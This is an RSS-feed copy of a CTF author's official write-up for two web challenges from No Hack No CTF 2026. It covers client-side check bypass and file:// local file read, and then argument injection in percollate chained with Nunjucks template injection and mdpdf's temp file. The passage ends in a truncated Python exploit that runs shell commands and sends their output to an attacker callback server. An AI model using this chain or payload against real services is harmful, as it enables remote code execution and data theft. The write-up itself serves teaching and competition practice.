<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:version="2.0"><channel><title>solarfish：as I&apos;ve written</title><description>A record of an ordinary person&apos;s journey.</description><link>https://solarfish.me/</link><language>zh</language><item><title>No Hack No CTF 2026 : solarfish category official writeup</title><link>https://solarfish.me/blog/nhnc2026/</link><guid isPermaLink="true">https://solarfish.me/blog/nhnc2026/</guid><description>我在 NHNC 中出的兩個 web 題目！</description><content:encoded>&lt;h2&gt;#include&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Description&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#baby #web

Yet another PDF converter. easy enough, right?

http://txg.chal2.teagod.tech:8722/

&amp;gt; flag in source code.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;explore&lt;/h3&gt;
&lt;p&gt;When we first open the website, we can see that it is a tool that takes a URL and converts the webpage into a PDF.&lt;/p&gt;
&lt;p&gt;Let’s take a look at the website.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@universe-3 NHNC % curl -i http://txg.chal2.teagod.tech:8722/
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 04 Jul 2026 03:25:09 GMT
ETag: W/&amp;quot;337-19f2b289a08&amp;quot;
Content-Type: text/html; charset=UTF-8
Content-Length: 823
Date: Sun, 05 Jul 2026 19:42:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the &lt;code&gt;X-Powered-By: Express&lt;/code&gt; header, we can tell that the website is using the Express framework. Therefore, we can infer that the backend is likely written in Node.js.&lt;/p&gt;
&lt;p&gt;Now, let’s try the PDF conversion feature.&lt;/p&gt;
&lt;p&gt;Enter &lt;code&gt;https://example.com&lt;/code&gt; and click &lt;code&gt;Convert to PDF&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/H1esN4uQfl.png&quot; alt=&quot;截圖 2026-07-06 03.46.29&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nice! The page was successfully fetched and converted into a PDF.&lt;/p&gt;
&lt;h3&gt;Research&lt;/h3&gt;
&lt;p&gt;Now that we understand the basic functionality of the website, we can guess that a PDF converter like this may be vulnerable to SSRF.
However, let’s go back to the challenge description. It says that the flag is in the source code.
So, we can try to read local files using the &lt;code&gt;file://&lt;/code&gt; protocol.&lt;/p&gt;
&lt;p&gt;Let’s try reading &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rkw9HNdXMl.png&quot; alt=&quot;截圖 2026-07-06 03.50.35&quot;&gt;&lt;/p&gt;
&lt;p&gt;It was blocked. But if we look carefully, the request was not even sent to the backend. The check is done on the frontend!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://txg.chal2.teagod.tech:8722/main.js&quot;&gt;http://txg.chal2.teagod.tech:8722/main.js&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;...
form.addEventListener(&amp;#39;submit&amp;#39;, async event =&amp;gt; {
	event.preventDefault();
	const body = new URLSearchParams(new FormData(form));
	const url = String(body.get(&amp;#39;url&amp;#39;) || &amp;#39;&amp;#39;).trim();
	if (!/^https?:\/\//i.test(url)) {
		result.textContent = &amp;#39;URL must start with http:// or https://&amp;#39;;
		return;
	}

	if (captchaEnabled) {
		const token = grecaptcha.getResponse(captchaWidgetId);
		if (!token) {
			result.textContent = &amp;#39;Please complete the captcha.&amp;#39;;
			return;
		}
		body.set(&amp;#39;g-recaptcha-response&amp;#39;, token);
	}

	result.textContent = &amp;#39;Converting...&amp;#39;;
	const response = await fetch(&amp;#39;/convert&amp;#39;, {
		method: &amp;#39;POST&amp;#39;,
		body
	});
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can bypass this by using Burp Suite to intercept the request and modify the parameters, since the challenge uses reCAPTCHA. Alternatively, we can simply disable that JavaScript check in the browser.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rkZTiVumGl.png&quot; alt=&quot;截圖 2026-07-06 04.16.49&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HyzOUVuXfl.png&quot; alt=&quot;截圖 2026-07-06 03.54.12&quot;&gt;&lt;/p&gt;
&lt;p&gt;Great! We now have arbitrary file read.
At this point, we only need to read the source code.&lt;/p&gt;
&lt;p&gt;However, after trying common paths such as &lt;code&gt;/home/ctf&lt;/code&gt;, &lt;code&gt;/app&lt;/code&gt;, &lt;code&gt;/src&lt;/code&gt;, and so on, we find that none of them work.
This is also part of the challenge. The actual webroot is located at: &lt;code&gt;/app/{randomhex}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To bypass this, we can use a symbolic link provided by Linux: &lt;code&gt;/proc/self/cwd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This points to the current working directory of the running process.&lt;/p&gt;
&lt;p&gt;Now we only need to figure out the source code filename. &lt;del&gt;At this point, you can just guess that it is server.js.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;Just kidding. Remember that we previously found that the website is using the Express framework. In a typical Node.js project, npm packages are used, which means there is usually a package.json file.&lt;/p&gt;
&lt;p&gt;The package.json file often contains a scripts field, which tells us how the application is started.&lt;/p&gt;
&lt;p&gt;So, we can read: &lt;code&gt;file:///proc/self/cwd/package.json&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/B1rnYEuQfl.png&quot; alt=&quot;截圖 2026-07-06 04.08.11&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;There we go!
Finally, we just need to read: &lt;code&gt;file:///proc/self/cwd/server.js&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And we can get the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rkC224d7Mx.png&quot; alt=&quot;截圖 2026-07-06 04.21.06&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NHNC{Well_done!_stay_tuned_for_the_next_challenge.}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Farewell, #include&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Description&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#medium #web

more features this time...
but it’s absolutely not that easy.

Instancer : http://txg.chal2.teagod.tech:8988/

execute /readflag to know how to get the flag.

any fuzzing tools or brute forcing of urls are not allowed.

&amp;gt; HINT : 
You may have already noticed that you can obtain some useful information using the method from the previous challenge.

For this challenge, you can reuse that approach to gather information. It is recommended that you analyze everything locally first and confirm that you can achieve RCE before u restart again the instancer.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Revenge of the &lt;code&gt;#include&lt;/code&gt; Challenge&lt;/p&gt;
&lt;h3&gt;explore&lt;/h3&gt;
&lt;p&gt;At first glance, it doesn’t look much different from the previous challenge it&amp;#39;s have same framework, same interface. The only difference is that this time, you need to get RCE.&lt;/p&gt;
&lt;p&gt;The main change is the addition of two new features: &lt;code&gt;PDF Converter without CSS&lt;/code&gt; and &lt;code&gt;Markdown to PDF&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The HINT in the challenge description suggests that you can use the vulnerability from the previous challenge to leak the source code or gather some useful information. To save some time, I’ll just provide the files we’ll need here.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;server.js&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import crypto from &amp;#39;node:crypto&amp;#39;;
import fs from &amp;#39;node:fs/promises&amp;#39;;
import path from &amp;#39;node:path&amp;#39;;
import { spawn } from &amp;#39;node:child_process&amp;#39;;
import { createRequire as create_require } from &amp;#39;node:module&amp;#39;;
import { fileURLToPath as file_url_to_path } from &amp;#39;node:url&amp;#39;;

import express from &amp;#39;express&amp;#39;;
import { convert as convert_markdown } from &amp;#39;mdpdf&amp;#39;;

const __dirname = path.dirname(file_url_to_path(import.meta.url));
const require = create_require(import.meta.url);
const html_pdf_node = require(&amp;#39;html-pdf-node&amp;#39;);
const app = express();
const port = Number(process.env.PORT || 3001);

const percollate_cli = &amp;#39;/app/lib/percollate/cli.js&amp;#39;;
const work_dir = &amp;#39;/tmp/work&amp;#39;;
const output_dir = &amp;#39;/tmp/output&amp;#39;;

app.use(express.urlencoded({ extended: false, limit: &amp;#39;256kb&amp;#39; }));
app.use(express.json({ limit: &amp;#39;256kb&amp;#39; }));
app.use(express.static(path.join(__dirname, &amp;#39;public&amp;#39;)));

function getallurl(input) {
	return String(input || &amp;#39;&amp;#39;)
		.trim()
		.split(/\s+/)
		.filter(Boolean);
}

function create_job(converter, details = {}) {
	const id = crypto.randomUUID();
	const output_path = path.join(output_dir, `${id}.pdf`);
	return {
		id,
		converter,
		output_path,
		...details
	};
}

function run_percollate(user_input) {
	return new Promise(resolve =&amp;gt; {
		const job = create_job(&amp;#39;lite-pdf&amp;#39;);
		const urls = getallurl(user_input);
		const args = [
			&amp;#39;pdf&amp;#39;,
			&amp;#39;--no-sandbox&amp;#39;,
			&amp;#39;--output&amp;#39;,
			path.resolve(job.output_path),
			...urls
		];

		const child = spawn(process.execPath, [percollate_cli, ...args], {
			cwd: work_dir,
			stdio: [&amp;#39;ignore&amp;#39;, &amp;#39;ignore&amp;#39;, &amp;#39;ignore&amp;#39;],
			env: {
				...process.env,
				PUPPETEER_EXECUTABLE_PATH:
					process.env.PUPPETEER_EXECUTABLE_PATH || &amp;#39;/usr/bin/chromium&amp;#39;
			}
		});

		const timer = setTimeout(() =&amp;gt; {
			child.kill(&amp;#39;SIGKILL&amp;#39;);
		}, 150000);

		child.on(&amp;#39;close&amp;#39;, code =&amp;gt; {
			clearTimeout(timer);
			resolve({
				id: job.id,
				code,
				output_path: job.output_path,
				converter: job.converter
			});
		});
	});
}

async function run_html_pdf_node(user_input) {
	const [url] = getallurl(user_input);
	const job = create_job(&amp;#39;standard-pdf&amp;#39;, {
		url
	});
	try {
		const pdf = await with_timeout(
			html_pdf_node.generatePdf(
				{ url: job.url },
				{
					format: &amp;#39;A4&amp;#39;,
					path: job.output_path,
					printBackground: true,
					timeout: 80000,
					args: [
						&amp;#39;--no-sandbox&amp;#39;,
						&amp;#39;--disable-setuid-sandbox&amp;#39;,
						&amp;#39;--disable-dev-shm-usage&amp;#39;,
						&amp;#39;--disable-gpu&amp;#39;,
						&amp;#39;--no-zygote&amp;#39;,
						&amp;#39;--disable-background-networking&amp;#39;,
						&amp;#39;--disable-default-apps&amp;#39;,
						&amp;#39;--disable-extensions&amp;#39;,
						&amp;#39;--disable-sync&amp;#39;,
						&amp;#39;--metrics-recording-only&amp;#39;,
						&amp;#39;--mute-audio&amp;#39;,
						&amp;#39;--no-first-run&amp;#39;
					]
				}
			),
			90000,
			&amp;#39;html-pdf-node conversion timeout&amp;#39;
		);
		try {
			await fs.access(job.output_path);
		} catch {
			if (pdf) {
				await fs.writeFile(job.output_path, pdf);
			}
		}
		return {
			id: job.id,
			code: 0,
			output_path: job.output_path,
			converter: job.converter
		};
	} catch (error) {
		console.error(&amp;#39;standard-pdf conversion failed:&amp;#39;, error);
		return {
			id: job.id,
			code: 1,
			output_path: job.output_path,
			converter: job.converter
		};
	}
}

async function run_md_pdf(user_input) {
	const [url] = getallurl(user_input);
	const job = create_job(&amp;#39;markdown-pdf&amp;#39;, {
		url
	});
	const source_path = path.join(output_dir, `${job.id}.md`);
	try {
		const markdown = await read_text_input(job.url);
		await fs.writeFile(source_path, markdown);
		await with_timeout(
			convert_markdown({
				source: source_path,
				destination: job.output_path,
				assetDir: path.dirname(source_path),
				ghStyle: true,
				defaultStyle: true,
				noEmoji: true,
				noHighlight: true,
				waitUntil: &amp;#39;networkidle0&amp;#39;,
				pdf: {
					format: &amp;#39;A4&amp;#39;,
					timeout: 30000
				}
			}),
			45000,
			&amp;#39;mdpdf conversion timeout&amp;#39;
		);
		return {
			id: job.id,
			code: 0,
			output_path: job.output_path,
			converter: job.converter
		};
	} catch (error) {
		console.error(&amp;#39;markdown-pdf conversion failed:&amp;#39;, error);
		return {
			id: job.id,
			code: 1,
			output_path: job.output_path,
			converter: job.converter
		};
	} finally {
		await fs.unlink(source_path).catch(() =&amp;gt; {});
	}
}

function with_timeout(promise, ms, message) {
	let timer;
	return Promise.race([
		promise,
		new Promise((_, reject) =&amp;gt; {
			timer = setTimeout(() =&amp;gt; reject(new Error(message)), ms);
		})
	]).finally(() =&amp;gt; clearTimeout(timer));
}

async function read_text_input(input) {
	const url = parse_url(input);
	if (url?.protocol === &amp;#39;file:&amp;#39;) {
		return fs.readFile(file_url_to_path(url), &amp;#39;utf8&amp;#39;);
	}
	if (url &amp;amp;&amp;amp; (url.protocol === &amp;#39;http:&amp;#39; || url.protocol === &amp;#39;https:&amp;#39;)) {
		const response = await fetch(url.href);
		if (!response.ok) {
			throw new Error(`fetch failed: ${response.status}`);
		}
		return response.text();
	}
	return fs.readFile(input, &amp;#39;utf8&amp;#39;);
}

function parse_url(input) {
	try {
		return new URL(input);
	} catch {
		return null;
	}
}

async function rejects_directory_listing(input) {
	for (const item of getallurl(input)) {
		let url;
		try {
			url = new URL(item);
		} catch {
			continue;
		}

		if (url.protocol !== &amp;#39;file:&amp;#39;) {
			continue;
		}

		try {
			if ((await fs.stat(file_url_to_path(url))).isDirectory()) {
				return true;
			}
		} catch {
			// ignore errors, treat as not a directory :)
		}
	}

	return false;
}

app.post(&amp;#39;/convert&amp;#39;, async (req, res) =&amp;gt; {
	const urls = req.body.url || &amp;#39;&amp;#39;;
	const converter = String(req.body.converter || &amp;#39;standard-pdf&amp;#39;);
	if (!String(urls).trim()) {
		res.status(400).type(&amp;#39;text/plain&amp;#39;).send(&amp;#39;missing url\n&amp;#39;);
		return;
	}
	if (await rejects_directory_listing(urls)) {
		res.status(500).type(&amp;#39;text/plain&amp;#39;).send(&amp;#39;conversion failed\n&amp;#39;);
		return;
	}

	let result;
	if (converter === &amp;#39;standard-pdf&amp;#39;) {
		result = await run_html_pdf_node(urls);
	} else if (converter === &amp;#39;lite-pdf&amp;#39;) {
		result = await run_percollate(urls);
	} else if (converter === &amp;#39;markdown-pdf&amp;#39;) {
		result = await run_md_pdf(urls);
	} else {
		res.status(400).type(&amp;#39;text/plain&amp;#39;).send(&amp;#39;unknown converter\n&amp;#39;);
		return;
	}

	if (result.code !== 0) {
		res.status(500)
			.type(&amp;#39;text/plain&amp;#39;)
			.send(&amp;#39;conversion failed\n&amp;#39;);
		return;
	}

	try {
		const pdf = await fs.readFile(result.output_path);
		res.setHeader(&amp;#39;Content-Type&amp;#39;, &amp;#39;application/pdf&amp;#39;);
		res.setHeader(
			&amp;#39;Content-Disposition&amp;#39;,
			`attachment; filename=&amp;quot;${result.id}.pdf&amp;quot;`
		);
		res.send(pdf);
	} catch {
		res.status(500)
			.type(&amp;#39;text/plain&amp;#39;)
			.send(&amp;#39;conversion failed\n&amp;#39;);
	}
});

app.listen(port, &amp;#39;0.0.0.0&amp;#39;, () =&amp;gt; {
	console.log(`challenge listening on ${port}`);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;package.json&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;{
  &amp;quot;name&amp;quot;: &amp;quot;farewall include&amp;quot;,
  &amp;quot;version&amp;quot;: &amp;quot;1.0.0&amp;quot;,
  &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;,
  &amp;quot;private&amp;quot;: true,
  &amp;quot;scripts&amp;quot;: {
    &amp;quot;start&amp;quot;: &amp;quot;node server.js&amp;quot;
  },
	&amp;quot;dependencies&amp;quot;: {
		&amp;quot;express&amp;quot;: &amp;quot;^4.19.2&amp;quot;,
		&amp;quot;html-pdf-node&amp;quot;: &amp;quot;file:../lib/html-pdf-node&amp;quot;,
		&amp;quot;mdpdf&amp;quot;: &amp;quot;file:../lib/mdpdf&amp;quot;
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From &lt;code&gt;server.js&lt;/code&gt;, we can also identify the libraries used for the conversion:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PDF Converter = html-pdf-node
PDF Converter without CSS = percollate
Markdown to PDF = mdpdf
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Research&lt;/h3&gt;
&lt;p&gt;First, there is an obvious argument injection in run_percollate within &lt;code&gt;server.js&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function run_percollate(user_input) {
	return new Promise(resolve =&amp;gt; {
		const job = create_job(&amp;#39;lite-pdf&amp;#39;);
		const urls = getallurl(user_input);
		const args = [
			&amp;#39;pdf&amp;#39;,
			&amp;#39;--no-sandbox&amp;#39;,
			&amp;#39;--output&amp;#39;,
			path.resolve(job.output_path),
			...urls
		];

		const child = spawn(process.execPath, [percollate_cli, ...args], {
			cwd: work_dir,
			stdio: [&amp;#39;ignore&amp;#39;, &amp;#39;ignore&amp;#39;, &amp;#39;ignore&amp;#39;],
			env: {
				...process.env,
				PUPPETEER_EXECUTABLE_PATH:
					process.env.PUPPETEER_EXECUTABLE_PATH || &amp;#39;/usr/bin/chromium&amp;#39;
			}
		});

		const timer = setTimeout(() =&amp;gt; {
			child.kill(&amp;#39;SIGKILL&amp;#39;);
		}, 150000);

		child.on(&amp;#39;close&amp;#39;, code =&amp;gt; {
			clearTimeout(timer);
			resolve({
				id: job.id,
				code,
				output_path: job.output_path,
				converter: job.converter
			});
		});
	});
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To support converting multiple URLs at once, the developer directly passes user_input into the urls argument and forgets to use &lt;code&gt;--&lt;/code&gt; to terminate option parsing. As a result, we can inject arbitrary command-line arguments.&lt;/p&gt;
&lt;p&gt;But here comes the question: what should we inject?!&lt;/p&gt;
&lt;h4&gt;research on the percollate package&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/danburzo/percollate&quot;&gt;percollate&amp;#39;s repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;From its README, we can see that:
Percollate is a command-line tool that turns web pages into beautifully formatted PDF, EPUB, HTML or Markdown files.&lt;/p&gt;
&lt;p&gt;Further down in the README, it provides even more options for users.
After taking a closer look, we can saw something interesting!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/BJW8mxtQMl.png&quot; alt=&quot;截圖 2026-07-06 17.20.04&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ummm... Nunjucks! It’s a template engine!&lt;/p&gt;
&lt;p&gt;If we trace through Percollate’s source code a little, we can see that once the &lt;code&gt;--template&lt;/code&gt; option is used, Percollate directly passes the file we specify to Nunjucks for rendering!&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const html = nunjucks.renderString(
		await readFile(options.template || DEFAULT_TEMPLATE, &amp;#39;utf8&amp;#39;),
		{
			filetype: &amp;#39;html&amp;#39;,
			title:
				options.title ||
				(items.length === 1 ? items[0].title : &amp;#39;Untitled&amp;#39;),
			date: new Date(),
			items,
			style,
			options: {
				use_toc,
				use_cover:
					options.cover ||
					(options.cover !== false &amp;amp;&amp;amp;
						(options.title || items.length &amp;gt; 1))
			}
		}
	);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This looks super dangerous! 
&lt;a href=&quot;https://mozilla.github.io/nunjucks/api.html&quot;&gt;The official documentation for nunjucks.renderString also explicitly warns against rendering user-controlled content.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So, we can actually inject a template and turn this into SSTI.&lt;/p&gt;
&lt;p&gt;I won’t go into the full RCE chain here, since there are already plenty of writeups and research on Nunjucks SSTI online.&lt;/p&gt;
&lt;p&gt;Personally, I used &lt;code&gt;items.constructor.constructor&lt;/code&gt; to get access to the &lt;code&gt;Function&lt;/code&gt; constructor, which then allowed me to execute arbitrary js.&lt;/p&gt;
&lt;p&gt;But there’s still one problem...&lt;/p&gt;
&lt;p&gt;How are we supposed to write a file?&lt;/p&gt;
&lt;h4&gt;research on the mdpdf package&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/elliotblackburn/mdpdf&quot;&gt;mdpdf&amp;#39;s repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’m curious if you’ve ever used this library before?!
&lt;img src=&quot;https://hackmd.io/_uploads/B1fnGfYQze.png&quot; alt=&quot;截圖 2026-07-06 19.33.59&quot;&gt;&lt;/p&gt;
&lt;p&gt;It’s actually really convenient. I use it all the time, whether I’m generating reports, &lt;del&gt;or when HackMD’s free PDF export quota runs out&lt;/del&gt;.
But I’m not sure if you’ve noticed this before: when you convert Markdown into a PDF, a temporary HTML file is usually generated first, and only then is the final PDF produced.&lt;/p&gt;
&lt;p&gt;You can still think of it as a rendering pipeline. Markdown itself is just a plaintext markup syntax, so it first has to be converted into structured HTML. During this stage, things like layout, styling, and LaTeX rendering are also handled before the final PDF is generated.&lt;/p&gt;
&lt;p&gt;So, we can reasonably assume that &lt;code&gt;mdpdf&lt;/code&gt; probably has a similar feature as well.
Let’s dig into the source code and see.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;async function createPdf(html: string, options: MdPdfOptions): Promise&amp;lt;string&amp;gt; {
  const tempHtmlPath = resolve(dirname(options.destination), &amp;#39;_temp.html&amp;#39;);

  let browser: Browser | null = null; // Initialize browser to null

  try {
    await writeFile(tempHtmlPath, html);

    browser = await launch({
      headless: true, // Use boolean instead of &amp;#39;new&amp;#39; string
      args: [&amp;#39;--no-sandbox&amp;#39;, &amp;#39;--disable-setuid-sandbox&amp;#39;],
    });
    const page = (await browser.pages())[0];
    await page.goto(&amp;#39;file:&amp;#39; + tempHtmlPath, {
      waitUntil: options.waitUntil ?? &amp;#39;networkidle0&amp;#39;,
    });

    // have to bypass by arguments
    // custom title support
    const targetTitle = options.pdf?.title
      ? options.pdf.title
      : parsePath(options.source).name;
    await page.evaluate((targetTitle) =&amp;gt; {
      // overwrite title to fix https://github.com/elliotblackburn/mdpdf/issues/211
      document.title = targetTitle;
    }, targetTitle);

    const puppetOptions = getOptions(options);
    await page.pdf(puppetOptions);

    await browser.close();
    browser = null; // Indicate browser is closed

    if (options.debug) {
      copyFileSync(tempHtmlPath, options.debug);
    }

    return options.destination;
  } catch (error) {
    // Ensure browser is closed even if an error occurs
    if (browser) {
      await browser.close();
    }
    // Re-throw the error to be handled by the caller
    throw error;
  } finally {
    // Clean up temp file in case of error or success
    try {
      unlinkSync(tempHtmlPath);
    } catch (e) {
      // Ignore errors if the file doesn&amp;#39;t exist or couldn&amp;#39;t be deleted
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Did you catch the important part?!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;const tempHtmlPath = resolve(dirname(options.destination), &amp;#39;_temp.html&amp;#39;);&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;This means that an &lt;code&gt;_temp.html&lt;/code&gt; file will be created inside the working directory we specify.&lt;/p&gt;
&lt;p&gt;At this point, things become much easier. We only need to host a malicious &lt;code&gt;.md&lt;/code&gt; file on our own server. At the beginning of the file, we place our SSTI payload, and then append a request that causes &lt;code&gt;mdpdf&lt;/code&gt; to spend some time waiting during the conversion process.&lt;/p&gt;
&lt;p&gt;After that, we trigger another argument injection and set the &lt;code&gt;--template&lt;/code&gt; option to &lt;code&gt;/tmp/output/_temp.html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At this point, we can fully control the contents of the HTML file and ultimately achieve RCE.&lt;/p&gt;
&lt;h3&gt;exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
import argparse
import http.server
import json
import queue
import socketserver
import threading
import urllib.parse
import urllib.request


def qjs(s):
    return json.dumps(s)


def qnjk(s):
    return (
        s.replace(&amp;quot;\\&amp;quot;, &amp;quot;\\\\&amp;quot;)
         .replace(&amp;quot;&amp;#39;&amp;quot;, &amp;quot;\\&amp;#39;&amp;quot;)
         .replace(&amp;quot;\n&amp;quot;, &amp;quot;\\n&amp;quot;)
    )


def make_ssti(cmd, cb):
    js = (
        &amp;quot;const cp=process.getBuiltinModule(&amp;#39;child_process&amp;#39;);&amp;quot;
        &amp;quot;const http=process.getBuiltinModule(&amp;#39;http&amp;#39;);&amp;quot;
        &amp;quot;let r=&amp;#39;&amp;#39;;&amp;quot;
        &amp;quot;try{&amp;quot;
        f&amp;quot;r=cp.execSync({qjs(cmd)},{{encoding:&amp;#39;utf8&amp;#39;,stdio:[&amp;#39;ignore&amp;#39;,&amp;#39;pipe&amp;#39;,&amp;#39;pipe&amp;#39;]}});&amp;quot;
        &amp;quot;}catch(e){&amp;quot;
        &amp;quot;if(e.stdout)r+=e.stdout.toString();&amp;quot;
        &amp;quot;if(e.stderr)r+=e.stderr.toString();&amp;quot;
        &amp;quot;r+=&amp;#39;\\n[exit &amp;#39;+String(e.status ?? &amp;#39;unknown&amp;#39;)+&amp;#39;]\\n&amp;#39;;&amp;quot;
        &amp;quot;}&amp;quot;
        f&amp;quot;http.get({qjs(cb + &amp;#39;?d=&amp;#39;)}+encodeURIComponent(r)).on(&amp;#39;error&amp;#39;,()=&amp;gt;{{}});&amp;quot;
        &amp;quot;return r;&amp;quot;
    )

    return &amp;quot;{{ items.constructor.constructor(&amp;#39;&amp;quot; + qnjk(js) + &amp;quot;&amp;#39;)() }}&amp;quot;


def convert(base, converter, url):
    data = urllib.parse.urlencode({
        &amp;quot;converter&amp;quot;: converter,
        &amp;quot;url&amp;quot;: url,
    }).encode()

    req = urllib.request.Request(
        urllib.parse.urljoin(base, &amp;quot;/convert&amp;quot;),
        data=data,
        headers={&amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded&amp;quot;},
        method=&amp;quot;POST&amp;quot;,
    )
    with urllib.request.urlopen(req, timeout=90) as r:
        return r.read()

    


def handler_for(payload, leaks, slow_hit, release_slow):
    class Handler(http.server.BaseHTTPRequestHandler):
        def log_message(self, *args):
            pass

        def do_GET(self):
            u = urllib.parse.urlparse(self.path)

            if u.path == &amp;quot;/payload.md&amp;quot;:
                host = self.headers.get(&amp;quot;Host&amp;quot;)
                md = f&amp;quot;&amp;quot;&amp;quot;# Quarterly PDF Report

&amp;lt;div&amp;gt;{payload}&amp;lt;/div&amp;gt;

&amp;lt;img src=&amp;quot;http://{host}/slow&amp;quot;&amp;gt;
&amp;quot;&amp;quot;&amp;quot;
                body = md.encode()

                self.send_response(200)
                self.send_header(&amp;quot;Content-Type&amp;quot;, &amp;quot;text/markdown; charset=utf-8&amp;quot;)
                self.send_header(&amp;quot;Content-Length&amp;quot;, str(len(body)))
                self.end_headers()
                self.wfile.write(body)
                return

            if u.path == &amp;quot;/slow&amp;quot;:
                slow_hit.set()

                release_slow.wait(30)

                gif = (
                    b&amp;quot;GIF89a\x01\x00\x01\x00\x80\x00\x00&amp;quot;
                    b&amp;quot;\x00\x00\x00\xff\xff\xff,\x00\x00&amp;quot;
                    b&amp;quot;\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;&amp;quot;
                )

                self.send_response(200)
                self.send_header(&amp;quot;Content-Type&amp;quot;, &amp;quot;image/gif&amp;quot;)
                self.send_header(&amp;quot;Content-Length&amp;quot;, str(len(gif)))
                self.end_headers()
                self.wfile.write(gif)
                return

            if u.path == &amp;quot;/leak&amp;quot;:
                qs = urllib.parse.parse_qs(u.query)
                leaks.put(qs.get(&amp;quot;d&amp;quot;, [&amp;quot;&amp;quot;])[0])
                self.send_response(204)
                self.end_headers()
                return

            self.send_response(404)
            self.end_headers()

    return Handler


class ThreadedServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&amp;quot;-t&amp;quot;, &amp;quot;--target&amp;quot;, default=&amp;quot;http://127.0.0.1:5005&amp;quot;)
    ap.add_argument(&amp;quot;-b&amp;quot;, &amp;quot;--bind&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;)
    ap.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--port&amp;quot;, type=int, default=31001)
    ap.add_argument(&amp;quot;--host&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;)
    ap.add_argument(&amp;quot;-c&amp;quot;, &amp;quot;--cmd&amp;quot;, default=&amp;quot;id&amp;quot;)
    args = ap.parse_args()

    base = args.target.rstrip(&amp;quot;/&amp;quot;)
    cb = f&amp;quot;http://{args.host}:{args.port}&amp;quot;

    leaks = queue.Queue()
    slow_hit = threading.Event()
    release_slow = threading.Event()

    payload = make_ssti(args.cmd, cb + &amp;quot;/leak&amp;quot;)
    handler = handler_for(payload, leaks, slow_hit, release_slow)

    with ThreadedServer((args.bind, args.port), handler) as srv:
        threading.Thread(target=srv.serve_forever, daemon=True).start()

        print(f&amp;quot;[*] serving payload at {cb}/payload.md&amp;quot;)

        mdpdf_err = queue.Queue()

        def hold_mdpdf():
            try:
                convert(base, &amp;quot;markdown-pdf&amp;quot;, cb + &amp;quot;/payload.md&amp;quot;)
            except Exception as e:
